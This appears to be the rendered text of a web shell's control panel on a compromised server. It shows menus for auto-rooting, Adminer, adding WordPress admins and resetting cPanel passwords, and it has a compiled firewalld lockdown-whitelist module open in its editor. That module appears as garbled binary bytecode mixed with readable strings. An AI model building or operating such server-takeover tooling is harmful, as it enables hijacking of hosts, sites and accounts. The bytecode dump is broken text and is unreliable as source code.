Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
firewall
core
io
__pycache__
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: lockdown_whitelist.cpython-39.pyc
a F��j�/ � @ s� d dl mZ d dlZd dlZd dlZd dlmZ d dlmZm Z m Z d dl m Z d dl mZmZmZmZmZ d dlmZ d dlmZ G dd � d e �ZG d d � d e�ZdS ) � N)�config)� IO_Object�IO_Object_ContentHandler�IO_Object_XMLGenerator)�log)�uniqify� checkUser�checkUid� checkCommand� checkContext)�errors)� FirewallErrorc @ s e Zd Zdd� Zdd� ZdS )�!lockdown_whitelist_ContentHandlerc C s t �| |� d| _d S )NF)r �__init__� whitelist)�self�item� r �G/usr/lib/python3.9/site-packages/firewall/core/io/lockdown_whitelist.pyr % s z*lockdown_whitelist_ContentHandler.__init__c C sV t �| ||� | j�||� |dkr@| jr6ttjd��d| _�n|dkrr| js\t� d� d S |d }| j� |� n�|dkr�| js�t� d� d S d |v r�zt |d �}W n& t y� t� d |d � Y d S 0 | j� |� nd|v r�| j�|d � n\|d k�r@| j�st� d � d S d |v�r.t� d� d S | j�|d � nt� d| � d S d S )Nr zMore than one whitelist.T�commandz)Parse Error: command outside of whitelist�name�userz&Parse Error: user outside of whitelist�idz"Parse Error: %s is not a valid uid�selinuxz)Parse Error: selinux outside of whitelist�contextzParse Error: no contextzUnknown XML element %s)r � startElementr Zparser_check_element_attrsr r r Z PARSE_ERRORr �error� add_command�int� ValueError�add_uid�add_user� add_context)r r �attrsr �uidr r r r ) sN � � z.lockdown_whitelist_ContentHandler.startElementN)�__name__� __module__� __qualname__r r r r r r r $ s r c s, e Zd ZdZddgfddgfddgfddgffZdZd gZd d gd d gd �Zddd giZ� fdd�Z dd� Z dd� Z dd� Z dd� Z dd� Zd d � Zd d � Zd d!� Zd"d#� Zd$d%� Zd&d'� Zd(d)� Zd*d+� Zd,d-� Zd.d/� Zd0d1� Zd2d3� Zd4d5� Zd6d7� Z d8d9� Z d:d;� Z d<d=� Z d>d?� Z d@dA� Z!� Z"S )B�LockdownWhitelistz LockdownWhitelist class �commands� �contexts�users�uidsr z (asasasai)�_Nr r )r r r r r r c s6 t t| ��� || _d | _g | _g | _g | _g | _d S �N) �superr( r �filename�parserr) r+ r, r- )r r1 �� __class__r r r m s zLockdownWhitelist.__init__c C s� |dv r,|D ] }| � ||d d� ||� q nv|dkrJt|�s�ttj|��nX|dkrht|�s�ttj|��n:|dkr�t|�s�ttj|��n |dkr�t |�s�ttj |��d S )N�r) r+ r, r- ���r r r r$ ) � _check_configr r r �INVALID_COMMANDr �INVALID_CONTEXTr � INVALID_USERr � INVALID_UID)r r r Z all_configZall_io_objects�xr r r r7 x s z LockdownWhitelist._check_configc C s4 | j d d �= | jd d �= | jd d �= | jd d �= d S r/ r5 �r r r r �cleanup� s zLockdownWhitelist.cleanupc C s@ t |�sttj|��|| jvr,| j�|� nttjd| ��d S )Nz!Command "%s" already in whitelist)r r r r8 r) �append�ALREADY_ENABLED�r r r r r r � s �z LockdownWhitelist.add_commandc C s, || j v r| j �|� nttjd| ��d S )Nz Command "%s" not in whitelist.)r) �remover r � NOT_ENABLEDrA r r r �remove_command� s �z LockdownWhitelist.remove_commandc C s || j v S r/ �r) rA r r r � has_command� s z LockdownWhitelist.has_commandc C sB | j D ]6}|�d�r.|�|d d� �r< dS q||kr dS qdS )N�*r6 TF)r) �endswith� startswith)r r Z_commandr r r � match_command� s z LockdownWhitelist.match_commandc C s | j S r/ rE r= r r r � get_commands� s z LockdownWhitelist.get_commandsc C sD t |�sttjt|���|| jvr0| j�|� nttjd| ��d S )Nz Uid "%s" already in whitelist)r r r r; �strr- r? r@ �r r$ r r r r � s �zLockdownWhitelist.add_uidc C s, || j v r| j �|� nttjd| ��d S )NzUid "%s" not in whitelist.)r- rB r r rC rM r r r � remove_uid� s �z LockdownWhitelist.remove_uidc C s || j v S r/ �r- rM r r r �has_uid� s zLockdownWhitelist.has_uidc C s || j v S r/ rO rM r r r � match_uid� s zLockdownWhitelist.match_uidc C s | j S r/ rO r= r r r �get_uids� s zLockdownWhitelist.get_uidsc C s@ t |�sttj|��|| jvr,| j�|� nttjd| ��d S )Nz User "%s" already in whitelist)r r r r: r, r? r@ �r r r r r r! � s �zLockdownWhitelist.add_userc C s, || j v r| j �|� nttjd| ��d S )NzUser "%s" not in whitelist.)r, rB r r rC rS r r r � remove_user� s �z LockdownWhitelist.remove_userc C s || j v S r/ �r, rS r r r �has_user� s zLockdownWhitelist.has_userc C s || j v S r/ rU rS r r r � match_user� s z LockdownWhitelist.match_userc C s | j S r/ rU r= r r r � get_users� s zLockdownWhitelist.get_usersc C s@ t |�sttj|��|| jvr,| j�|� nttjd| ��d S )Nz!Context "%s" already in whitelist)r r r r9 r+ r? r@ �r r r r r r" s �z LockdownWhitelist.add_contextc C s, || j v r| j �|� nttjd| ��d S )Nz Context "%s" not in whitelist.)r+ rB r r rC rY r r r �remove_context# s �z LockdownWhitelist.remove_contextc C s || j v S r/ �r+ rY r r r � has_context* s z LockdownWhitelist.has_contextc C s || j v S r/ r[ rY r r r � match_context- s z LockdownWhitelist.match_contextc C s | j S r/ r[ r= r r r � get_contexts0 s z LockdownWhitelist.get_contextsc C s� | � � | j�d�s&ttjd| j ��t| �}t�� }|� |� z|� | j� W n: tj y� } z ttj d|� � ��W Y d }~n d }~0 0 ~~d S )Nz.xmlz'%s' is missing .xml suffixzNot a valid file: %s)r> r1 rH r r Z INVALID_NAMEr �saxZ make_parserZsetContentHandler�parseZSAXParseExceptionZ INVALID_TYPEZ getException)r �handlerr2 �msgr r r �read5 s$ � ��zLockdownWhitelist.readc C s� t j�| j�r^zt�| jd| j � W n6 ty\ } z td| j|f ��W Y d }~n d }~0 0 t j�tj �szt � tj d� t j | jddd�}t |�}|�� |�di � |�d� t| j�D ](}|�d � |�d d |i� |�d� q�t| j�D ],}|�d � |�d d t|�i� |�d� q�t| j�D ]*}|�d � |�d d |i� |�d� �q(t| j�D ]*}|�d � |�dd|i� |�d� �q^|�d� |�d� |�� |�� ~d S )Nz%s.oldzBackup of '%s' failed: %si� ZwtzUTF-8)�mode�encodingr � z r r r r r r )�os�path�existsr1 �shutil�copy2� Exception�IOErrorr Z ETC_FIREWALLD�mkdir�io�openr Z startDocumentr ZignorableWhitespacer r) Z simpleElementr- rL r, r+ Z endElementZ endDocument�close)r rb �fra r r$ r r r r r �writeF sB ( zLockdownWhitelist.write)#r% r& r' �__doc__ZIMPORT_EXPORT_STRUCTUREZDBUS_SIGNATUREZADDITIONAL_ALNUM_CHARSZ PARSER_REQUIRED_ELEMENT_ATTRSZ PARSER_OPTIONAL_ELEMENT_ATTRSr r7 r> r rD rF rJ rK r rN rP rQ rR r! rT rV rW rX r" rZ r\ r] r^ rc rs � __classcell__r r r3 r r( V sP ��� 1 r( )Zxml.saxr_ rg ro rj Zfirewallr Zfirewall.core.io.io_objectr r r Zfirewall.core.loggerr Zfirewall.functionsr r r r r r Zfirewall.errorsr r r( r r r r �<module> s 2